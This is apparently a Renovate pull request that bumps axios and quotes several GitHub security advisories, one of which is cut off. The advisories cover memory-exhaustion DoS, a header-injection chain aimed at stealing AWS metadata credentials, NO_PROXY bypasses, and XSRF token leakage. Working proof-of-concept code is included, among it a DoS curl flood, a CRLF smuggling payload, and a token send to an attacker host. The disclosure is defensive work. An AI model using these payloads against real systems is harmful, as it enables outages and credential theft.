fix(deps): update dependency axios to ~0.31.1 [security]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	~0.28.0 → ~0.31.1

---

Axios is vulnerable to DoS attack through lack of data size check

CVE-2025-58754 / GHSA-4hjh-wcwx-xvwj

More information

Details

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}

• The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
• It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
• As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @​payload.json -o /dev/null```

---

Suggestions

1. Enforce size limits
   For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

2. Stream decoding
   Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj
• https://github.com/axios/axios/pull/7011
• https://github.com/axios/axios/commit/945435fc51467303768202250debb8d4ae892593
• https://github.com/axios/axios/releases/tag/v1.12.0
• https://nvd.nist.gov/vuln/detail/CVE-2025-58754
• https://github.com/axios/axios/pull/7034
• https://github.com/axios/axios/commit/a1b1d3f073a988601583a604f5f9f5d05a3d0b67
• https://github.com/axios/axios/releases/tag/v0.30.2
• https://github.com/axios/axios/commit/c30252f685e8f4326722de84923fcbc8cf557f06
• https://github.com/advisories/GHSA-4hjh-wcwx-xvwj

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

CVE-2026-25639 / GHSA-43fc-jf86-j433

More information

Details

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
2. Object.keys() includes '__proto__' in the iteration
3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

• Axios._request() at lib/core/Axios.js:75
• Axios.getUri() at lib/core/Axios.js:201
• All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

1. Clone axios repository or npm install axios
2. Create file poc.mjs with the code above
3. Run: node poc.mjs
4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test	Config	Result
Normal config	{"timeout": 5000}	SUCCESS
Malicious config	JSON.parse('{"__proto__": {"x": 1}}')	CRASH
Nested object	{"headers": {"X-Test": "value"}}	SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

• Node.js servers using axios for HTTP requests
• Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/axios/axios/security/advisories/GHSA-43fc-jf86-j433
• https://github.com/axios/axios/pull/7369
• https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57
• https://github.com/axios/axios/releases/tag/v1.13.5
• https://nvd.nist.gov/vuln/detail/CVE-2026-25639
• https://github.com/axios/axios/pull/7388
• https://github.com/axios/axios/commit/d7ff1409c68168d3057fc3891f911b2b92616f9e
• https://github.com/axios/axios/releases/tag/v0.30.3
• https://github.com/advisories/GHSA-43fc-jf86-j433

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

CVE-2026-40175 / GHSA-fvcv-3m26-pcqx

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific "Gadget" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass).

While Axios patches exist for preventing check pollution, the library remains vulnerable to being used as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.

Severity: Critical (CVSS 9.9)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This vulnerability is unique because it requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, ini, body-parser), Axios will automatically pick up the polluted properties during its config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property becomes a Request Smuggling payload.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer
await axios.get('https://analytics.internal/pings'); 

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1
...

4. The Impact (IMDSv2 Bypass)

The "Smuggled" second request is a valid PUT request to the AWS Metadata Service. It includes the required X-aws-ec2-metadata-token-ttl-seconds header (which a normal SSRF cannot send).
The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.

Impact Analysis

• Security Control Bypass: Defeats AWS IMDSv2 (Session Tokens).
• Authentication Bypass: Can inject headers (Cookie, Authorization) to pivot into internal administrative panels.
• Cache Poisoning: Can inject Host headers to poison shared caches.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  if (/[\r\n]/.test(val)) {
    throw new Error('Security: Header value contains invalid characters');
  }
  // ... proceed to set header
});

References

• OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

• CVSS Score: 4.8 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx
• https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1
• https://github.com/axios/axios/releases/tag/v1.15.0
• https://nvd.nist.gov/vuln/detail/CVE-2026-40175
• https://github.com/axios/axios/pull/10660
• https://github.com/axios/axios/pull/10660#issuecomment-4224168081
• https://github.com/axios/axios/pull/10688
• https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c
• https://github.com/axios/axios/releases/tag/v0.31.0
• https://github.com/advisories/GHSA-fvcv-3m26-pcqx

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

CVE-2025-62718 / GHSA-3p68-rc4w-qgx5

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

---

PoC

import http from "http";
import axios from "axios";

const proxyPort = 5300;

http.createServer((req, res) => {
  console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
  res.writeHead(200, { "Content-Type": "text/plain" });
  res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));

process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";

async function test(url) {
  try {
    await axios.get(url, { timeout: 2000 });
  } catch {}
}

setTimeout(async () => {
  console.log("\n[*] Testing http://localhost.:8080/");
  await test("http://localhost.:8080/"); // goes through proxy

  console.log("\n[*] Testing http://[::1]:8080/");
  await test("http://[::1]:8080/"); // goes through proxy
}, 500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

---

Impact

• Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.

• Attackers controlling request URLs can:

  • Force Axios to send local traffic through an attacker-controlled proxy.
  • Bypass SSRF mitigations relying on NO_PROXY rules.
  • Potentially exfiltrate sensitive responses from internal services via the proxy.

---

Affected Versions

• Confirmed on Axios 1.12.2 (latest at time of testing).
• affects all versions that rely on Axios’ current NO_PROXY evaluation.

---

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

• Strip trailing dots from hostnames (per RFC 3986).
• Normalize IPv6 literals by removing brackets for matching.

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

• https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5
• https://nvd.nist.gov/vuln/detail/CVE-2025-62718
• https://github.com/axios/axios/pull/10661
• https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df
• https://datatracker.ietf.org/doc/html/rfc1034#section-3.1
• https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2
• https://github.com/axios/axios/releases/tag/v1.15.0
• https://github.com/axios/axios/pull/10688
• https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c
• https://github.com/axios/axios/releases/tag/v0.31.0
• https://github.com/advisories/GHSA-3p68-rc4w-qgx5

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios' HTTP adapter-streamed uploads bypass maxBodyLength when maxRedirects: 0

CVE-2026-42034 / GHSA-5c9x-8gcm-mpgx

More information

Details

Summary

For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.

Details

Relevant flow in lib/adapters/http.js:

• 556-564: maxBodyLength check applies only to buffered/non-stream data.
• 681-682: maxRedirects === 0 selects native http/https transport.
• 694-699: options.maxBodyLength is set, but native transport does not enforce it.
• 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.

This creates a path-specific bypass for streamed uploads.

PoC

Environment:

• Axios main at commit f7a4ee2
• Node v24.2.0

Steps:

1. Start an HTTP server that counts uploaded bytes and returns {received}.
2. Send a 2 MiB Readable stream with:
   • adapter: 'http'
   • maxBodyLength: 1024
   • maxRedirects: 0

Observed:

• Request succeeds; server reports received: 2097152.

Control checks:

• Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED.
• Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST.

Impact

Type: DoS / uncontrolled upstream upload / resource exhaustion.
Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

• https://github.com/axios/axios/security/advisories/GHSA-5c9x-8gcm-mpgx
• https://nvd.nist.gov/vuln/detail/CVE-2026-42034
• https://github.com/advisories/GHSA-5c9x-8gcm-mpgx

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

CVE-2026-42042 / GHSA-xx6v-rp6x-q39c

More information

Details

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion

Summary

The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.

Severity: Medium (CVSS 5.4)
Affected Versions: All versions since withXSRFToken was introduced
Vulnerable Component: lib/helpers/resolveConfig.js:59
Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)

CWE

• CWE-201: Insertion of Sensitive Information Into Sent Data
• CWE-183: Permissive List of Allowed Inputs

CVSS 3.1

Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	PP triggered remotely via vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx
Privileges Required	None	No authentication needed
User Interaction	Required	Victim must use browser with axios making cross-origin requests
Scope	Unchanged	Token leakage within browser context
Confidentiality	Low	XSRF token leaked — anti-CSRF token, not session token
Integrity	Low	Stolen XSRF token enables CSRF attacks (bypass CSRF protection only)
Availability	None	No availability impact

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input when triggered via prototype pollution.

If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.

Vulnerable Code

File: lib/helpers/resolveConfig.js, lines 57-66

// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
//  ^^^^^^^^^^^^^^^^
//  When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
//  isURLSameOrigin() is NEVER called → token sent to ANY origin
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Designed behavior:

• true → always send token (explicit cross-origin opt-in)
• false → never send token
• undefined → send only for same-origin requests

Actual behavior for non-boolean truthy values (1, "false", {}, []):

• All treated as truthy → same-origin check skipped → token sent everywhere

Proof of Concept

// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;

// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers

Verified PoC Output

withXSRFToken Value        Sends Token Cross-Origin  Expected
true (boolean)             YES                       Yes (opt-in)
false (boolean)            No                        No
undefined (default)        No                        No
1 (number)                 YES ← BUG                No
"false" (string)           YES ← BUG                No
{} (object)                YES ← BUG                No
[] (array)                 YES ← BUG                No

Prototype pollution:
  Object.prototype.withXSRFToken = 1
  config.withXSRFToken = 1 → leaks=true
  isURLSameOrigin() was NOT called (short-circuited)

Impact Analysis

• XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
• Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application
• Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP

Limitations:

• Browser-only (XSRF logic runs only in hasStandardBrowserEnv)
• XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking
• Attacker still needs a way to deliver the forged request after obtaining the token

Recommended Fix

Use strict boolean comparison:

// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
  (withXSRFToken == null && isURLSameOrigin(newConfig.url));

if (shouldSendXSRF) {
  const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
  if (xsrfValue) {
    headers.set(xsrfHeaderName, xsrfValue);
  }
}

Resources

• CWE-201: Insertion of Sensitive Information Into Sent Data
• CWE-183: Permissive List of Allowed Inputs
• GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
• Axios GitHub Repository

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: corrected CVSS, documented limitations
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

• CVSS Score: 5.4 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c
• https://nvd.nist.gov/vuln/detail/CVE-2026-42042
• https://github.com/advisories/GHSA-xx6v-rp6x-q39c

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0

CVE-2026-42043 / GHSA-pmwg-cvhr-8vh7

More information

Details

1. Executive Summary
This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NO_PROXY hostname resolution logic in the Axios HTTP library.

Background — The Original Vulnerability
The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NO_PROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NO_PROXY matching entirely and be forwarded to the configured HTTP proxy — even when NO_PROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.

The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.

The Incomplete Patch — This Finding
While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.

The patch introduced a hardcoded set of recognized loopback addresses:

// lib/helpers/shouldBypassProxy.js — Line 1
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);

However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.

As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NO_PROXY protection even in the fully patched Axios 1.15.0 release.

Verification
This bypass has been independently verified on:

• Axios version: 1.15.0 (latest patched release)
• Node.js version: v22.16.0
• OS: Kali Linux (rolling)

The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.

2. Deep-Dive: Technical Root Cause Analysis
2.1 Vulnerable File & Location

Field	Detail
File	lib/helpers/shouldBypassProxy.js
Primary Flaw	isLoopback() — Line 1–3
Supporting Function	shouldBypassProxy() — Line 59–110
Axios Version	1.15.0 (Latest Patched Release)

2.2 How Axios Routes HTTP Requests The Call Chain
When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:

// lib/adapters/http.js — Lines 191–199
function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  if (!proxy && proxy !== false) {
    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var
    if (proxyUrl) {
      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY
        proxy = new URL(proxyUrl);               // Step 3: Assign proxy
      }
    }
  }
}

shouldBypassProxy() is the single gatekeeper for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.

2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)
Before Axios 1.15.0, hostnames were compared against NO_PROXY using a raw literal string match with no normalization:

Request URL → http://localhost./secret
NO_PROXY    → "localhost,127.0.0.1,::1"
Comparison:
  "localhost." === "localhost"   →  FALSE  →  Proxy used  ← BYPASS
  "[::1]"     === "::1"         →  FALSE  →  Proxy used  ← BYPASS

Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.

2.4 What the Patch Fixed (Axios 1.15.0)
The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:

Fix A normalizeNoProxyHost() (Lines 47–57)
Strips alternate representations before comparison:

const normalizeNoProxyHost = (hostname) => {
  if (!hostname) return hostname;
  // Remove IPv6 brackets: "[::1]" → "::1"
  if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') {
    hostname = hostname.slice(1, -1);
  }
  // Strip trailing FQDN dot: "localhost." → "localhost"
  return hostname.replace(/\.+$/, '');
};

Fix B Cross-Loopback Equivalence (Lines 1–3 & 108)
Allows 127.0.0.1 and localhost to match each other interchangeably:

const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// Line 108 — Final match condition:
return hostname === entryHost
    || (isLoopback(hostname) && isLoopback(entryHost));
//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
//      If both sides are "loopback" → treat as match

Fix C Normalization Applied on Both Sides (Lines 81 & 90)

// Request hostname normalized:
const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());
// Each NO_PROXY entry normalized:
entryHost = normalizeNoProxyHost(entryHost);

2.5 The Incomplete Patch Exact Root Cause
The fundamental flaw resides in Line 1:

// lib/helpers/shouldBypassProxy.js — Line 1  ← ROOT CAUSE
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
//                                              ^^^^^^^^^^^
//                              Only ONE IPv4 loopback address is recognized.
//                              The entire 127.0.0.0/8 subnet is unaccounted for.
// Line 3 — Lookup against this incomplete set:
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
//                                               ^^^^^^^^^
//                          Returns FALSE for any 127.x.x.x ≠ 127.0.0.1

*RFC 1122 §3.2.1.3 is unambiguous:

"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."

